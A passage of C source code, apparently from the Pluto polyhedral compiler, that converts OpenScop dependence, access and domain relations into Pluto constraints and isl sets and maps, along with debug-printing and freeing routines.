stm->scattering->nb_output_dims; nb_scatt = nb_scatt > cur_scatt ? nb_scatt : cur_scatt; } //generate scatt names osl_strings_p newnames = osl_strings_generate("t", nb_scatt); osl_scatnames_p scatt = osl_scatnames_malloc(); scatt->names = newnames; //replace the old scatnames with new one osl_generic_remove(&scop->extension, OSL_URI_SCATNAMES); osl_generic_p gen = osl_generic_shell(scatt, osl_scatnames_interface()); osl_generic_add(&scop->extension, gen); //update loop information //get loops to be marked for parallization and vectorization osl_loop_p vll = NULL; if (options->prevector ){ vll = pluto_get_vector_loop_list(prog); } osl_loop_p pll = NULL; if(options->parallel){ pll = pluto_get_parallel_loop_list(prog, vll!=NULL); } //concatenate the two lists osl_loop_add(vll, &pll); if(pll){ osl_generic_p loopgen = osl_generic_shell(pll, osl_loop_interface()); osl_generic_add(&scop->extension, loopgen); } // Add pluto_unroll extension { int i; HyperplaneProperties *hProps = prog->hProps; osl_pluto_unroll_p pluto_unroll = NULL; osl_pluto_unroll_p pluto_unroll_base = NULL; char buffer[sizeof(i) * CHAR_BIT + 1] = { 0 }; for (i=0; i<prog->num_hyperplanes; i++) { if (hProps[i].unroll == UNROLL || hProps[i].unroll == UNROLLJAM) { sprintf(buffer, "t%i", i + 1); if (pluto_unroll == NULL) { pluto_unroll = osl_pluto_unroll_malloc(); pluto_unroll_base = pluto_unroll; } else { pluto_unroll->next = osl_pluto_unroll_malloc(); pluto_unroll = pluto_unroll->next; } osl_pluto_unroll_fill(pluto_unroll, buffer, hProps[i].unroll == UNROLLJAM, options->ufactor); } } if (pluto_unroll_base) { osl_generic_p pluto_unroll_generic = osl_generic_shell(pluto_unroll_base, osl_pluto_unroll_interface()); osl_generic_add(&scop->extension, pluto_unroll_generic); } } } static int get_osl_write_access_position(osl_relation_list_p rl, osl_relation_p access) { int num; num = -1; osl_relation_list_p tmp = rl; for (; tmp; tmp = tmp->next) { if ( (tmp->elt->type == OSL_TYPE_WRITE) || (tmp->elt->type == OSL_TYPE_MAY_WRITE) ) num++; if(tmp->elt == access) break; } assert(num >= 0); return num; } static int get_osl_read_access_position(osl_relation_list_p rl, osl_relation_p access) { int num; num = -1; osl_relation_list_p tmp = rl; for (; tmp; tmp = tmp->next) { if ( (tmp->elt->type == OSL_TYPE_READ) ) num++; if(tmp->elt == access) break; } assert(num >= 0); return num; } /* * Returns a list of write or may_write access relations in a list */ osl_relation_list_p osl_access_list_filter_write(osl_relation_list_p list) { osl_relation_list_p copy = osl_relation_list_clone(list); osl_relation_list_p filtered = NULL; osl_relation_list_p previous = NULL; osl_relation_list_p trash; int first = 1; while (copy != NULL) { if ((copy->elt != NULL) && ( (copy->elt->type == OSL_TYPE_WRITE) || (copy->elt->type == OSL_TYPE_MAY_WRITE))) { if (first) { filtered = copy; first = 0; } previous = copy; copy = copy->next; } else { trash = copy; if (!first) previous->next = copy->next; copy = copy->next; trash->next = NULL; osl_relation_list_free(trash); } } return filtered; } /* * Returns a list of read access relations in a list */ osl_relation_list_p osl_access_list_filter_read(osl_relation_list_p list) { osl_relation_list_p copy = osl_relation_list_clone(list); osl_relation_list_p filtered = NULL; osl_relation_list_p previous = NULL; osl_relation_list_p trash; int first = 1; while (copy != NULL) { if ((copy->elt != NULL) && (copy->elt->type == OSL_TYPE_READ)) { if (first) { filtered = copy; first = 0; } previous = copy; copy = copy->next; } else { trash = copy; if (!first) previous->next = copy->next; copy = copy->next; trash->next = NULL; osl_relation_list_free(trash); } } return filtered; } /* * Converts an osl dependence domain to Pluto constraints * See osl/extensions/dependence.h for the osl dependence domain matrix format */ PlutoConstraints* osl_dep_domain_to_pluto_constraints(osl_dependence_p in_dep){ int s_dom_output_dims = in_dep->source_nb_output_dims_domain; int t_dom_output_dims = in_dep->target_nb_output_dims_domain; int nb_output_dims = in_dep->source_nb_output_dims_domain + in_dep->source_nb_output_dims_access; int nb_input_dims = in_dep->target_nb_output_dims_domain + in_dep->target_nb_output_dims_access; /* Compute osl domain indexes */ int osl_ind_source_local_domain = 1 + nb_output_dims + nb_input_dims; int osl_ind_source_local_access = osl_ind_source_local_domain + in_dep->source_nb_local_dims_domain; int osl_ind_target_local_domain = osl_ind_source_local_access + in_dep->source_nb_local_dims_access; int osl_ind_target_local_access = osl_ind_target_local_domain + in_dep->target_nb_local_dims_domain; int osl_ind_params = osl_ind_target_local_access + in_dep->target_nb_local_dims_access; /* Compute pluto constraints domain indexes */ int pl_ind_target_domain = 1 + in_dep->source_nb_output_dims_domain; int pl_ind_params = pl_ind_target_domain + in_dep->target_nb_output_dims_domain; int rows, cols = 0; int nb_pars = in_dep->stmt_source_ptr->domain->nb_parameters; int s_dom_rows = in_dep->stmt_source_ptr->domain->nb_rows; int t_dom_rows = in_dep->stmt_target_ptr->domain->nb_rows; int s_acc_rows = in_dep->ref_source_access_ptr->nb_rows - 1; int depth = in_dep->depth; // rows = s_dom_rows+t_dom_rows+ (s_acc_rows==0? 1: s_acc_rows) //special case for 0-dimention array(scalar) +depth; cols = s_dom_output_dims+t_dom_output_dims+nb_pars+2; //cols: 2 => eq + const PlutoConstraints *cst; cst = pluto_constraints_alloc(rows, cols-1); cst->nrows = rows; cst->ncols = cols-1; int i=0; int j=0; int osl_constraint = 0; int pl_constraint = 0; int osl_index=0; int pl_index=0; // copy source domain osl_relation_p s_domain = in_dep->stmt_source_ptr->domain; for(i=0; i< s_domain->nb_rows; i++){ //copy first column if (osl_int_zero(in_dep->domain->precision, in_dep->domain->m[osl_constraint][0])) { cst->is_eq[pl_constraint] = 1; }else{ cst->is_eq[pl_constraint] = 0; } //start of matrix osl_index = 1; //start of src_stmt_domain_output_dims pl_index = 1-1; // -1 for pluto for (j=0;j<s_dom_output_dims; j++) cst->val[pl_constraint][pl_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_index+j]); // copy localdims - not supprted by converter if(s_domain->nb_local_dims){ fprintf(stderr, "local dimensions in domain not supported\n"); exit(1); } // copy params + constant osl_index = osl_ind_params; pl_index = pl_ind_params-1; // -1 for pluto for (j=0; j<nb_pars+1; j++) cst->val[pl_constraint][pl_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_index+j]); osl_constraint++; pl_constraint++; } // copy target domain osl_relation_p t_domain = in_dep->stmt_target_ptr->domain; for(i=0; i< t_domain->nb_rows; i++){ //copy first column if (osl_int_zero(in_dep->domain->precision, in_dep->domain->m[osl_constraint][0])) { cst->is_eq[pl_constraint] = 1; }else{ cst->is_eq[pl_constraint] = 0; } //start of matrix osl_index = 1 + nb_output_dims; pl_index = pl_ind_target_domain-1; // -1 for pluto for (j=0;j<t_dom_output_dims; j++) cst->val[pl_constraint][pl_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_index+j]); // copy local dims - not supported in converter if(t_domain->nb_local_dims){ fprintf(stderr,"local dimensions in domain not supproted\n"); exit(1); } // copy params + constant osl_index = osl_ind_params; pl_index = pl_ind_params-1; // -1 for pluto for (j=0; j<nb_pars+1; j++) cst->val[pl_constraint][pl_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_index+j]); pl_constraint++; osl_constraint++; } // copy source as well as target access int osl_s_index = 0; int osl_t_index = 0; int pl_s_index = 0; int pl_t_index = 0; osl_relation_p s_access = in_dep->ref_source_access_ptr; osl_relation_p t_access = in_dep->ref_target_access_ptr; osl_constraint++; //skip the array_id line for(i=0; i < s_acc_rows; i++){ //copy first column if (osl_int_zero(in_dep->domain->precision, in_dep->domain->m[osl_constraint][0])) { cst->is_eq[pl_constraint] = 1; }else{ cst->is_eq[pl_constraint] = 0; } osl_s_index = 1; osl_t_index = 1 + nb_output_dims; pl_s_index = 1-1; // -1 for pluto pl_t_index = pl_ind_target_domain-1; // -1 for pluto for (j=0; j<s_access->nb_input_dims; j++){ cst->val[pl_constraint][pl_s_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_s_index+j]); } for (j=0; j<t_access->nb_input_dims; j++){ //t_acc_dims==s_acc_dims cst->val[pl_constraint][pl_t_index+j] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint+s_access->nb_rows][osl_t_index+j]); } //copy local dimensions - not supported by converter if(s_access->nb_local_dims || t_access->nb_local_dims){ fprintf(stderr, "local dimensions in Access not supproted\n"); exit(1); } // copy params + constant osl_index = osl_ind_params; pl_index = pl_ind_params-1; // -1 for pluto for (j=0; j<nb_pars+1; j++){ //get src params int src_param = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_index+j]); //get tgt params int tgt_param = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint+s_access->nb_rows][osl_index+j]); tgt_param = -tgt_param; //oppose cst->val[pl_constraint][pl_index+j] = src_param - tgt_param; } pl_constraint++; osl_constraint++; } // copy access equalities // skip min_depth int min_depth = OSL_min(s_access->nb_output_dims, t_access->nb_output_dims); osl_constraint += s_access->nb_rows + min_depth; //s_acc_rows calculated by subtracting 1 from acc.nb_rows //in case of a scalar this results in 0, still add a constraint for pluto if(s_acc_rows==0) pl_constraint++; // copy depth osl_s_index = 1; osl_t_index = 1 + nb_output_dims; pl_s_index = 1-1; // -1 for pluto pl_t_index = pl_ind_target_domain-1; // -1 for pluto for(i=0; i< depth; i++){ // copy first column if (osl_int_zero(in_dep->domain->precision, in_dep->domain->m[osl_constraint][0])) { cst->is_eq[pl_constraint] = 1; }else{ cst->is_eq[pl_constraint] = 0; } // copy subscript equalities cst->val[pl_constraint][pl_s_index+i] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_s_index+i]); cst->val[pl_constraint][pl_t_index+i] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][osl_t_index+i]); // copy params -> not applicable here // copy const == last column cst->val[pl_constraint][cst->ncols-1] = osl_int_get_si(in_dep->domain->precision, in_dep->domain->m[osl_constraint][in_dep->domain->nb_columns-1]); osl_constraint++; pl_constraint++; } // return new domain return cst; } /* Get the position of this access given a CandlStmt access matrix * (concatenated) * ref: starting row for a particular access in concatenated rows of * access functions * Return the position of this access in the list */ /*static int get_access_position(CandlMatrix *accesses, int ref) { int num, i; num = -1; for (i=0; i<=ref; i++) { if (accesses->p[i][0] != 0) { num++; } } assert(num >= 0); return num; }*/ /* Read dependences from candl structures */ static Dep **deps_read(osl_dependence_p candlDeps, PlutoProg *prog) { int i, j, ndeps; int spos, tpos; Dep **deps; int npar = prog->npar; Stmt **stmts = prog->stmts; ndeps = osl_nb_dependences(candlDeps); deps = (Dep **) malloc(ndeps*sizeof(Dep *)); for (i=0; i<ndeps; i++) { deps[i] = pluto_dep_alloc(); } osl_dependence_p candl_dep = candlDeps; candl_dep = candlDeps; IF_DEBUG(candl_dependence_pprint(stdout, candl_dep)); /* Dependence polyhedra information */ for (i=0; i<ndeps; i++) { Dep *dep = deps[i]; dep->id = i; dep->type = candl_dep->type; dep->src = candl_dep->label_source; dep->dest = candl_dep->label_target; //candl_matrix_print(stdout, candl_dep->domain); dep->dpolytope = osl_dep_domain_to_pluto_constraints(candl_dep); dep->bounding_poly = pluto_constraints_dup(dep->dpolytope); pluto_constraints_set_names_range(dep->dpolytope, stmts[dep->src]->iterators, 0, 0, stmts[dep->src]->dim); /* suffix the destination iterators with a '*/ char **dnames = malloc(stmts[dep->dest]->dim*sizeof(char *)); for (j=0; j<stmts[dep->dest]->dim; j++) { dnames[j] = malloc(strlen(stmts[dep->dest]->iterators[j])+2); strcpy(dnames[j], stmts[dep->dest]->iterators[j]); strcat(dnames[j], "'"); } pluto_constraints_set_names_range(dep->dpolytope, dnames, stmts[dep->src]->dim, 0, stmts[dep->dest]->dim); for (j=0; j<stmts[dep->dest]->dim; j++) { free(dnames[j]); } free(dnames); pluto_constraints_set_names_range(dep->dpolytope, prog->params, stmts[dep->src]->dim + stmts[dep->dest]->dim, 0, npar); switch (dep->type) { case OSL_DEPENDENCE_RAW: spos = get_osl_write_access_position( candl_dep->stmt_source_ptr->access, candl_dep->ref_source_access_ptr); dep->src_acc = stmts[dep->src]->writes[spos]; tpos = get_osl_read_access_position( candl_dep->stmt_target_ptr->access, candl_dep->ref_target_access_ptr); dep->dest_acc = stmts[dep->dest]->reads[tpos]; break; case OSL_DEPENDENCE_WAW: spos = get_osl_write_access_position( candl_dep->stmt_source_ptr->access, candl_dep->ref_source_access_ptr); dep->src_acc = stmts[dep->src]->writes[spos]; tpos = get_osl_write_access_position( candl_dep->stmt_target_ptr->access, candl_dep->ref_target_access_ptr); dep->dest_acc = stmts[dep->dest]->writes[tpos]; break; case OSL_DEPENDENCE_WAR: spos = get_osl_read_access_position( candl_dep->stmt_source_ptr->access, candl_dep->ref_source_access_ptr); dep->src_acc = stmts[dep->src]->reads[spos]; tpos = get_osl_write_access_position( candl_dep->stmt_target_ptr->access, candl_dep->ref_target_access_ptr); dep->dest_acc = stmts[dep->dest]->writes[tpos]; break; case OSL_DEPENDENCE_RAR: spos = get_osl_read_access_position( candl_dep->stmt_source_ptr->access, candl_dep->ref_source_access_ptr); dep->src_acc = stmts[dep->src]->reads[spos]; tpos = get_osl_read_access_position( candl_dep->stmt_target_ptr->access, candl_dep->ref_target_access_ptr); dep->dest_acc = stmts[dep->dest]->reads[tpos]; break; default: assert(0); } /* Get rid of rows that are all zero */ int r, c; bool *remove = (bool *) malloc(sizeof(bool)*dep->dpolytope->nrows); for (r=0; r<dep->dpolytope->nrows; r++) { for (c=0; c<dep->dpolytope->ncols; c++) { if (dep->dpolytope->val[r][c] != 0) { break; } } if (c == dep->dpolytope->ncols) { remove[r] = true; }else{ remove[r] = false; } } int orig_nrows = dep->dpolytope->nrows; int del_count = 0; for (r=0; r<orig_nrows; r++) { if (remove[r]) { pluto_constraints_remove_row(dep->dpolytope, r-del_count); del_count++; } } free(remove); int src_dim = stmts[dep->src]->dim; int target_dim = stmts[dep->dest]->dim; assert(candl_dep->source_nb_output_dims_domain + candl_dep->target_nb_output_dims_domain + candl_dep->stmt_source_ptr->domain->nb_parameters + 1 == src_dim+target_dim+npar+1); candl_dep = candl_dep->next; } return deps; } void pluto_dep_print(FILE *fp, const Dep *dep) { fprintf(fp, "--- Dep %d from S%d to S%d; satisfied: %d, sat level: %d; Type: ", dep->id+1, dep->src+1, dep->dest+1, dep->satisfied, dep->satisfaction_level); switch (dep->type) { case OSL_UNDEFINED : fprintf(fp, "UNSET"); break; case OSL_DEPENDENCE_RAW : fprintf(fp, "RAW") ; break; case OSL_DEPENDENCE_WAR : fprintf(fp, "WAR") ; break; case OSL_DEPENDENCE_WAW : fprintf(fp, "WAW") ; break; case OSL_DEPENDENCE_RAR : fprintf(fp, "RAR") ; break; default : fprintf(fp, "unknown"); break; } fprintf(fp, "\n"); if (dep->src_acc) { fprintf(fp, "on variable: %s\n", dep->src_acc->name); } fprintf(fp, "Dependence polyhedron\n"); pluto_constraints_compact_print(fp, dep->dpolytope); fprintf(fp, "\n"); } void pluto_deps_print(FILE *fp, PlutoProg *prog) { int i; if (prog->ndeps == 0) printf("** No dependences **\n\n"); for (i=0; i<prog->ndeps; i++) { pluto_dep_print(fp, prog->deps[i]); } } /* Read statement info from openscop structures (nvar: max domain dim) */ static Stmt **osl_to_pluto_stmts(const osl_scop_p scop) { int i, j, k; Stmt **stmts; int npar, nvar, nstmts, max_sched_rows; osl_statement_p scop_stmt; npar = scop->context->nb_parameters; nstmts = osl_statement_number(scop->statement); if (nstmts == 0) return NULL; /* Max dom dimensionality */ nvar = -1; max_sched_rows = 0; scop_stmt = scop->statement; for (i=0; i<nstmts; i++) { nvar = PLMAX(nvar, osl_statement_get_nb_iterators(scop_stmt)); max_sched_rows = PLMAX(max_sched_rows, scop_stmt->scattering->nb_rows); scop_stmt = scop_stmt->next; } /* Allocate more to account for unroll/jamming later on */ stmts = (Stmt **) malloc(nstmts*sizeof(Stmt *)); scop_stmt = scop->statement; for(i=0; i<nstmts; i++) { PlutoConstraints *domain = osl_relation_to_pluto_constraints(scop_stmt->domain); PlutoMatrix *trans = osl_scattering_to_pluto_trans(scop_stmt->scattering); int nb_iter = osl_statement_get_nb_iterators(scop_stmt); stmts[i] = pluto_stmt_alloc(nb_iter, domain, trans); /* Pad with all zero rows */ int curr_sched_rows = stmts[i]->trans->nrows; for (j=curr_sched_rows; j<max_sched_rows; j++) { pluto_stmt_add_hyperplane(stmts[i], H_SCALAR, j); } pluto_constraints_free(domain); pluto_matrix_free(trans); Stmt *stmt = stmts[i]; stmt->id = i; stmt->type = ORIG; assert(scop_stmt->domain->nb_columns-1 == stmt->dim + npar + 1); for (j=0; j<stmt->dim; j++) { stmt->is_orig_loop[j] = true; } /* Tile it if it's tilable unless turned off by .fst/.precut file */ stmt->tile = 1; osl_body_p stmt_body = osl_generic_lookup(scop_stmt->extension, OSL_URI_BODY); for (j=0; j<stmt->dim; j++) { stmt->iterators[j] = strdup(stmt_body->iterators->string[j]); } /* Set names for domain dimensions */ char **names = malloc((stmt->domain->ncols-1)*sizeof(char *)); for (k=0; k<stmt->dim; k++) { names[k] = stmt->iterators[k]; } osl_strings_p osl_scop_params = NULL; if(scop->context->nb_parameters){ osl_scop_params = (osl_strings_p)scop->parameters->data; for (k=0; k<npar; k++) { names[stmt->dim+k] = osl_scop_params->string[k]; } } pluto_constraints_set_names(stmt->domain, names); free(names); /* Statement text */ stmt->text = osl_strings_sprint(stmt_body->expression); //appends \n stmt->text[strlen(stmt->text)-1] = '\0'; //remove the \n from end /* Read/write accesses */ osl_relation_list_p wlist = osl_access_list_filter_write(scop_stmt->access); osl_relation_list_p rlist = osl_access_list_filter_read(scop_stmt->access); osl_relation_list_p rlist_t, wlist_t; rlist_t = rlist; wlist_t = wlist; stmt->nwrites = osl_relation_list_count(wlist); stmt->writes = (PlutoAccess **) malloc(stmt->nwrites*sizeof(PlutoAccess *)); stmt->nreads = osl_relation_list_count(rlist); stmt->reads = (PlutoAccess **) malloc(stmt->nreads*sizeof(PlutoAccess *)); osl_arrays_p arrays = osl_generic_lookup(scop->extension, OSL_URI_ARRAYS); int count = 0; while (wlist != NULL) { PlutoMatrix *wmat = osl_access_relation_to_pluto_matrix(wlist->elt); stmt->writes[count] = (PlutoAccess *) malloc(sizeof(PlutoAccess)); stmt->writes[count]->mat = wmat; //stmt->writes[count]->symbol = NULL; if(arrays){ int id = osl_relation_get_array_id(wlist->elt); stmt->writes[count]->name = strdup(arrays->names[id-1]); } else{ stmt->writes[count]->name = NULL; } count++; wlist = wlist->next; } count = 0; while (rlist != NULL) { PlutoMatrix *rmat = osl_access_relation_to_pluto_matrix(rlist->elt); stmt->reads[count] = (PlutoAccess *) malloc(sizeof(PlutoAccess)); stmt->reads[count]->mat = rmat; //stmt->reads[count]->symbol = NULL; if(arrays){ int id = osl_relation_get_array_id(rlist->elt); stmt->reads[count]->name = strdup(arrays->names[id-1]); } else{ stmt->reads[count]->name = NULL; } count++; rlist = rlist->next; } osl_relation_list_free(wlist_t); osl_relation_list_free(rlist_t); scop_stmt = scop_stmt->next; } return stmts; } void pluto_access_print(FILE *fp, const PlutoAccess *acc, const Stmt *stmt) { int i, j, npar; if (!acc) { fprintf(fp, "access is NULL\n"); return; } npar = acc->mat->ncols - stmt->dim - 1; fprintf(fp, "%s", acc->name); for (i=0; i<acc->mat->nrows; i++) { fprintf(fp, "["); char **vars = malloc((stmt->dim+npar)*sizeof(char *)); for (j=0; j<stmt->dim; j++) { vars[j] = stmt->iterators[j]; } for (j=0; j<npar; j++) { if (stmt->domain->names && stmt->domain->names[stmt->dim+j]) { vars[stmt->dim+j] = stmt->domain->names[stmt->dim+j]; }else{ vars[stmt->dim+j] = "p?"; } } pluto_affine_function_print(stdout, acc->mat->val[i], stmt->dim+npar, vars); fprintf(fp, "]"); free(vars); } fprintf(fp, "\n"); } void pluto_stmt_print(FILE *fp, const Stmt *stmt) { int i; fprintf(fp, "S%d \"%s\"\n", stmt->id+1, stmt->text); fprintf(fp, "ndims: %d; orig_depth: %d\n", stmt->dim, stmt->dim_orig); fprintf(fp, "Index set\n"); pluto_constraints_compact_print(fp, stmt->domain); pluto_stmt_transformation_print(stmt); if (stmt->nreads==0) { fprintf(fp, "No Read accesses\n"); }else{ fprintf(fp, "Read accesses\n"); for (i=0; i<stmt->nreads; i++) { pluto_access_print(fp, stmt->reads[i], stmt); } } if (stmt->nwrites==0) { fprintf(fp, "No write access\n"); }else{ fprintf(fp, "Write accesses\n"); for (i=0; i<stmt->nwrites; i++) { pluto_access_print(fp, stmt->writes[i], stmt); } } for (i=0; i<stmt->dim; i++) { printf("Original loop: %d -> %s\n", i, stmt->is_orig_loop[i]?"yes":"no"); } fprintf(fp, "\n"); } void pluto_stmt_print_hyperplane(FILE *fp, const Stmt *stmt, int level) { int npar, j; npar = stmt->domain->ncols - stmt->dim - 1; char **vars = malloc((stmt->dim + npar)*sizeof(char *)); for (j=0; j<stmt->dim; j++) { vars[j] = stmt->iterators[j]; } for (j=0; j<npar; j++) { if (stmt->domain->names && stmt->domain->names[stmt->dim+j]) { vars[stmt->dim+j] = stmt->domain->names[stmt->dim+j]; }else{ vars[stmt->dim+j] = "p?"; } } pluto_affine_function_print(stdout, stmt->trans->val[level], stmt->dim+npar, vars); free(vars); } void pluto_stmts_print(FILE *fp, Stmt **stmts, int nstmts) { int i; for(i=0; i<nstmts; i++) { pluto_stmt_print(fp, stmts[i]); } } void pluto_prog_print(FILE *fp, PlutoProg *prog) { int i; fprintf(fp, "nvar = %d, npar = %d\n", prog->nvar, prog->npar); fprintf(fp, "Parameters: "); for (i=0; i<prog->npar; i++) { fprintf(fp, "%s ", prog->params[i]); } fprintf(fp, "\n"); pluto_stmts_print(fp, prog->stmts, prog->nstmts); pluto_deps_print(fp, prog); pluto_transformations_pretty_print(prog); } void pluto_dep_free(Dep *dep) { pluto_constraints_free(dep->dpolytope); pluto_constraints_free(dep->bounding_poly); pluto_constraints_free(dep->depsat_poly); if (dep->dirvec) { free(dep->dirvec); } if (dep->dirvec) { free(dep->satvec); } pluto_constraints_free(dep->cst); pluto_constraints_free(dep->bounding_cst); free(dep); } /* Set the dimension names of type "type" according to the elements * in the array "names". */ static __isl_give isl_dim *set_names(__isl_take isl_dim *dim, enum isl_dim_type type, char **names) { int i; for (i = 0; i < isl_dim_size(dim, type); ++i) dim = isl_dim_set_name(dim, type, i, names[i]); return dim; } /* Convert a osl_relation_p containing the constraints of a domain * to an isl_set. * One shot only; does not take into account the next ptr. */ static __isl_give isl_set *osl_relation_to_isl_set(osl_relation_p relation, __isl_take isl_dim *dim) { int i, j; int n_eq = 0, n_ineq = 0; isl_ctx *ctx; isl_mat *eq, *ineq; isl_basic_set *bset; ctx = isl_dim_get_ctx(dim); for (i = 0; i < relation->nb_rows; ++i) if (osl_int_zero(relation->precision, relation->m[i][0])) n_eq++; else n_ineq++; eq = isl_mat_alloc(ctx, n_eq, relation->nb_columns - 1); ineq = isl_mat_alloc(ctx, n_ineq, relation->nb_columns - 1); n_eq = n_ineq = 0; for (i = 0; i < relation->nb_rows; ++i) { isl_mat **m; int row; if (osl_int_zero(relation->precision, relation->m[i][0])) { m = &eq; row = n_eq++; } else { m = &ineq; row = n_ineq++; } for (j = 0; j < relation->nb_columns - 1; ++j) { int t = osl_int_get_si(relation->precision, relation->m[i][1 + j]); *m = isl_mat_set_element_si(*m, row, j, t); } } bset = isl_basic_set_from_constraint_matrices(dim, eq, ineq, isl_dim_set, isl_dim_div, isl_dim_param, isl_dim_cst); return isl_set_from_basic_set(bset); } /* Convert a osl_relation_p describing a union of domains * to an isl_set. */ static __isl_give isl_set *osl_relation_list_to_isl_set( osl_relation_p list, __isl_take isl_dim *dim) { isl_set *set; set = isl_set_empty(isl_dim_copy(dim)); for (; list; list = list->next) { isl_set *set_i; set_i = osl_relation_to_isl_set(list, isl_dim_copy(dim)); set = isl_set_union(set, set_i); } isl_dim_free(dim); return set; } #if 0 /* Unused */ /* Convert an m x ( n + 1) pluto access_matrix_p [d A c] * to an m x (m + n + 1) isl_mat [-I A c]. */ static __isl_give isl_mat *pluto_extract_equalities(isl_ctx *ctx, PlutoMatrix *matrix) { int i, j; int n_col, n; isl_mat *eq; n_col = matrix->ncols; n = matrix->nrows; eq = isl_mat_alloc(ctx, n, n + n_col); for (i = 0; i < n; ++i) { for (j = 0; j < n; ++j) eq = isl_mat_set_element_si(eq, i, j, 0); eq = isl_mat_set_element_si(eq, i, i, -1); for (j = 0; j < n_col ; ++j) { eq = isl_mat_set_element_si(eq, i, n + j, matrix->val[i][j]); } } return eq; } #endif /* Convert an m x (1 + m + n + 1) osl_relation_p [d -I A c] * to an m x (m + n + 1) isl_mat [-I A c]. */ static __isl_give isl_mat *extract_equalities_osl(isl_ctx *ctx, osl_relation_p relation) { int i, j; int n_col, n_row; isl_int v; isl_mat *eq; n_col = relation->nb_columns; n_row = relation->nb_rows; isl_int_init(v); eq = isl_mat_alloc(ctx, n_row, n_col - 1); for (i = 0; i < n_row; ++i) { for (j = 0; j < n_col - 1; ++j) { int row = osl_relation_get_row_id_for_nth_dimension(relation, i+1); int t = osl_int_get_si(relation->precision, relation->m[row][1 + j]); isl_int_set_si(v, t); eq = isl_mat_set_element(eq, i, j, v); } } isl_int_clear(v); return eq; } /* Convert an m x (1 + m + n + 1) osl_relation_p [d -I A c] * to an m x (m + n + 1) isl_mat [-I A c]. */ static __isl_give isl_mat *extract_equalities_osl_access(isl_ctx *ctx, osl_relation_p relation) { int i, j; int n_col, n_row; isl_int v; isl_mat *eq; n_row = relation->nb_rows==1?1:relation->nb_rows-1; n_col = relation->nb_columns - (relation->nb_rows==1?1:2); isl_int_init(v); eq = isl_mat_alloc(ctx, n_row, n_col); if(relation->nb_rows==1){ isl_int_set_si(v, -1); eq = isl_mat_set_element(eq, 0, 0, v); for (j = 1; j < n_col; ++j) { isl_int_set_si(v, 0); eq = isl_mat_set_element(eq, 0, j, v); } } else{ for (i = 1; i < relation->nb_rows; ++i) { for (j = 2; j < relation->nb_columns; ++j) { int row = osl_relation_get_row_id_for_nth_dimension(relation, i+1); int t = osl_int_get_si(relation->precision, relation->m[row][j]); isl_int_set_si(v, t); eq = isl_mat_set_element(eq, i-1, j-2, v); } } } isl_int_clear(v); return eq; } /* Convert a osl_relation_p scattering [0 M A c] to * the isl_map { i -> A i + c } in the space prescribed by "dim". */ static __isl_give isl_map *osl_scattering_to_isl_map( osl_relation_p scattering, __isl_take isl_dim *dim) { int n_col; isl_ctx *ctx; isl_mat *eq, *ineq; isl_basic_map *bmap; ctx = isl_dim_get_ctx(dim); n_col = scattering->nb_columns; ineq = isl_mat_alloc(ctx, 0, n_col - 1); eq = extract_equalities_osl(ctx, scattering); bmap = isl_basic_map_from_constraint_matrices(dim, eq, ineq, isl_dim_out, isl_dim_in, isl_dim_div, isl_dim_param, isl_dim_cst); return isl_map_from_basic_map(bmap); } /* Convert a osl_relation_list_p describing a series of accesses [eq -I B c] * to an isl_union_map with domain "dom" (in space "D"). * The -I columns identify the output dimensions of the access, the first * of them being the identity of the array being accessed. The remaining * output dimensions identiy the array subscripts. * * Let "A" be array identified by the first entry. * The input dimension columns have the form [B c]. * Each such access is converted to a map { D[i] -> A[B i + c] } * dom. * */ static __isl_give isl_union_map *osl_access_list_to_isl_union_map( osl_relation_list_p list, __isl_take isl_set *dom, char **arrays) { int len, n_col; isl_ctx *ctx; isl_dim *dim; isl_mat *eq, *ineq; isl_union_map *res; ctx = isl_set_get_ctx(dom); dim = isl_set_get_dim(dom); dim = isl_dim_drop(dim, isl_dim_set, 0, isl_dim_size(dim, isl_dim_set)); res = isl_union_map_empty(dim); for ( ; list; list = list->next) { n_col = list->elt->nb_columns - (list->elt->nb_rows==1?1:2); len = list->elt->nb_rows==1?1:list->elt->nb_rows-1; isl_basic_map *bmap; isl_map *map; int arr = osl_relation_get_array_id(list->elt) - 1; dim = isl_set_get_dim(dom); dim = isl_dim_from_domain(dim); dim = isl_dim_add(dim, isl_dim_out, len); dim = isl_dim_set_tuple_name(dim, isl_dim_out, arrays[arr]); ineq = isl_mat_alloc(ctx, 0, n_col); eq = extract_equalities_osl_access(ctx, list->elt); bmap = isl_basic_map_from_constraint_matrices(dim, eq, ineq, isl_dim_out, isl_dim_in, isl_dim_div, isl_dim_param, isl_dim_cst); map = isl_map_from_basic_map(bmap); map = isl_map_intersect_domain(map, isl_set_copy(dom)); res = isl_union_map_union(res, isl_union_map_from_map(map)); } isl_set_free(dom); return res; } /* * Like osl_access_list_to_isl_union_map, but just for a single osl access * (read or write) */ static __isl_give isl_map *osl_basic_access_to_isl_union_map( osl_relation_p access, __isl_take isl_set *dom, char **arrays) { int len, n_col; isl_ctx *ctx; isl_dim *dim; isl_mat *eq, *ineq; ctx = isl_set_get_ctx(dom); n_col = access->nb_columns - (access->nb_rows==1?1:2); len = access->nb_rows==1?1:access->nb_rows-1; isl_basic_map *bmap; isl_map *map; int arr = osl_relation_get_array_id(access) - 1; dim = isl_set_get_dim(dom); dim = isl_dim_from_domain(dim); dim = isl_dim_add(dim, isl_dim_out, len); dim = isl_dim_set_tuple_name(dim, isl_dim_out, arrays[arr]); ineq = isl_mat_alloc(ctx, 0, n_col); eq = extract_equalities_osl_access(ctx, access); bmap = isl_basic_map_from_constraint_matrices(dim, eq, ineq, isl_dim_out, isl_dim_in, isl_dim_div, isl_dim_param, isl_dim_cst); map = isl_map_from_basic_map(bmap); map = isl_map_intersect_domain(map, dom); return map; } #if 0 /* Unused */ /* * Like osl_access_list_to_isl_union_map, but just for a single pluto access * (read or write) * pos: position (starting row) of the access in 'access' */ static __isl_give isl_map 